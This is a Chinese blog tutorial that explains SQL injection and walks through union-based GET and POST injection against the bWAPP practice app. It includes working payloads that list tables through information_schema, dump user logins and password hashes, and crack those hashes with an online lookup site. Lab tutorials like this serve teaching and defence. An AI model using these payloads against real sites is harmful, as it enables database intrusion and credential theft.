[12]-SQL注入漏洞原理及危害
一、定义及原理
1.SQL注入漏洞
- 发生于应用程序与数据库的安全漏洞
- 造成原因
网站内部很多需要结合用户的输入数据动态构造sql语句,如果用户数据数据被构造成恶意sql代码,web应用又未对动态构造的sql语句进行参数审查,则会导致漏洞
2.GET型SQL注入漏洞
- 须知:
提交网页内容时,主要分为GET
方法和POST
方法,GET
型SQL注入漏洞
GET方法提交的内容会显示在url上,通过对url连接进行构造,可以获得超出权限的信息内容
3.Web程序三层架构
- 业务应用划分
- 界面层
- 业务逻辑层
- 数据访问层
- 用户访问网页流程
- 输入url,连接到目标服务器
- 业务逻辑层的web服务器从本地存储中加载
index.php
脚本并解析- 脚本连接位于数据访问层的DBMS,并执行SQL
- 数据访问层的DBMS返回SQL执行结果给web server----注入漏洞发生环节
- web server将页面封装成html格式发送给表示层浏览器
- 表示层的浏览器解析html并将内容呈现给用户
4.注入实例
- 拼接过程
select id,name from test where id=?
其中?
是需要用户输入的,如果这里替换为1 or 1=1
即select id,name from test where id=1 or 1=1
,则该表达式条件判断永真
也即select id,name from test
查询所有的数据- 案例效果
构造恶意输入
5.SQL注入带来威胁
- 猜解后台数据库,盗取网站敏感信息
包括一些管理员的表、数据的表等等- 绕过验证登录网站后台
- 借助数据库的存储过程进行提权等操作
二、注入实战示例
1.GET
型注入攻击
前置环境
- bwapp
- 漏洞:
SQL Injection (GET/Search)
- 等级:low
注入目标
通过搜索框,获取后台用户账户信息注入流程
查找注入点--通过输入反馈-----判断是否存在注入可能性
先输入正常数据,查看结果
再输入
'
查看反馈信息尝试
UNION
(进行联合查询)是否生效---构造其他sql语句--测试字段数量测试字段数量成功--替换其中的选项--获取数据库详细信息
成功获取数据库信息-发现users表---进行user表结构信息获取
尝试彩虹表碰撞---获取密码明文
具体细节
输入'
后,发现报错,告知sql语法有错误,说明可以进行注入通过联和查询,确定sql注入漏洞存在的一个字段数量,使用
hacker bar quantum
,此外,注意这里之所以是t'
是因为接收的输入的是一个字符串型http://192.168.20.130/sqli_1.php?title=t'union select 1,2 -- &action=search
提示字段数量不匹配,增加字段直至正确返回http://192.168.20.130/sqli_1.php?title=t'union select 1,2,3,4,5,6,7 -- &action=search
当增至7时,语句成功执行,得知总共有7个字段,并且表中Title是第2个字段,Release为第3个字段,Character为第5个字段,Genre为第4个字段,且这些字段可以直接返回在页面上。
通过回显得知,2,3,4,5
字段可以直接回显在页面上的,因此只需要对这些字段进行修改,就可以直接得到想要查询的内容
要查询用户用户名和密码,则要知道对应的表名,就要用到infromation_schema
数据库,以及其内部的tables
表http://192.168.20.130/sqli_1.php?title=t'union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() -- &action=search
得到返回结果,再将返回结果与字段以及字段所对应替换的内容对应,例如:从上图中得知Genre代表的是第4个字段,而在下图中,第四个字段在查询语句中替换为了
table_name
,因此下图中Genre中所返回的都是table_name
的信息,及数据库中的所有表名。
从返回结果中猜测存放用户信息的表在users
中,进一步需要得知users
表的结构,此时只需要用到information_schema.columns
表http://192.168.20.130/sqli_1.php?title=t'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' -- &action=search
成功查询到了
users
表的所有字段,即users
表没一列的列名
此时,要获取用户信息,根据返回的
users
表结构,则可以对id
、login
、password
进行查询http://192.168.20.130/sqli_1.php?title=t'union select 1,id,login,4,password,6,7 from users -- &action=search
返回结果如下:
此时就已经得到了网站使用的用户以及其密码(加盐后的)
要想获得密码明文,我们可以尝试采用彩虹表碰撞的手法尝试碰撞(密码强度较低时),网站:https://www.cmd5.com/
得到碰撞后的明文后,尝试登录即可,如果成功这说明无误。
关于单引号判断注入点
比如我们要查询id=1
的信息是,输入1
时,构造的sql语句即select * from test where id='1';
但是,当通过输入'
后,构造结果变成了select * from test where id='1'';
从而导致语句错误
此外,关于注入点判定和定位,并不只有单引号这一种方式,在后续高阶注入时具体讲解关于
UNION
语句
为什么要使用联和查询UNION
语句?答:通过联和查询,使得将我们需要查询的数据直接打印出来,回显非常直接,优先使用
select 1,2的作用
此次表有几个字段(几列),只有当列数一致时才能返回结果答:回显的是
1
和2
两个字段的内容
两个横杠(--)作用,能否被替换:答:注释符号,与dbms相关,常用的还有
#
详见:https://blog.csdn.net/qq_62708558/article/details/122915494
2.POST
型注入
定义&原理
POST方法提交的信息存储在http实体内容中,用户无感知
通过改造实体内容,从而达到实际执行的sql语句来获得更多信息的过程示例
环境
- bwapp
- 漏洞:
SQL Injection (POST/Select)
- 等级:low
判断SQL注入点
打开BurpSuit,开启firefox代理后,点击go
向服务器发送post请求。
然后打开BurpSuit找到发送的post请求,右击选择send to repater
,然后进入Repeater。
进入Repeater后,即可看到刚刚发送的post具体请求,这里同get注入,先判断是否存在注入点,单引号法
通过返回结果得知,此处存在注入点,通过联和注入,进一步确定该表存在的字段数量。尝试确定字段数量
构造联合查询
这里提示语句错误,进一步检查得知
union select 1,2 #
这块语句不存在问题,而前面的1'
应该也不存在问题,但仍然出现报错,则说明这里movie
参数的类型可能不是字符串类型,而是整型,尝试去掉1后面的单引号。
此时报错提示,字段数量不匹配,自增,直到返回不报错为止。
我们此时发现,当字段增加到7时,确实返回结果不在报错,但返回内容却不是我们希望的。此时猜测这里可能只回显第一行的结果及
movie=1
的结果,因此这里可以选择一个movie
不存在的值,使得返回的内容时我们构造恶意代码的语句。一般情况下,我们都将movie=-1
,因为一般很少可能用-1,但其实也可以在前端代码中获取,如:在pretty中得知movie
在1-10是有值的:
因此此时可以将
movie=1
构造为movie=11
或者movie=-1
,总之,这个值一定是不存在的值。
- 替换字段,提取所有表项
上文发现字段反馈成功,替换对应的字段,用于获取更加详细的信息,这里通过构造恶意代码获得了数据库的名词、其中的一张名为
blog
的表。由于每次只返回第一行的数据,因此此时还需要获得更多的数据,这里可以使用
group_concat()
函数将结果拼接一起返回,从而得到表项有bolg、heroes、movies、users、visitors。movie=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() # &action=go
获取用户信息
进一步获取用户信息,猜测应当存在于users表中,构架payload即可movie=-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='users' # &action=go
获取用户登录名和密码movie=-1 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users # &action=go
总结
- 字符型注入与整型注入判别
group_concat()
函数使用,解决前端只显示第一行的问题
3.总结
- 注入流程
- 查找注入点--通过输入反馈-----判断是否存在注入可能性
- 先输入正常数据,查看结果
- 再输入
'
查看反馈信息- 尝试
UNION
(进行联合查询)是否生效---构造其他sql语句--测试字段数量- 测试字段数量成功--替换其中的选项--获取数据库详细信息
- 成功获取数据库信息-发现users表---进行user表结构信息获取
- 尝试彩虹表碰撞---获取密码明文
- 方法总结
- 注入点判断---单引号判断法
- 构造恶意代码---
union
联合查询语句构造- 整型注入与字符型注入区分
- 表项字段数判定---
select 1,2,...
information_schema
数据库的tables
表和columns
表获取所有表项以及对应表项字段名词group_concat()
函数---解决前端只显示数据库结果第一行问题
本文来自博客园,作者:缪白(Miubai),转载请注明原文链接:https://www.cnblogs.com/Miubai-blog/articles/17097052.html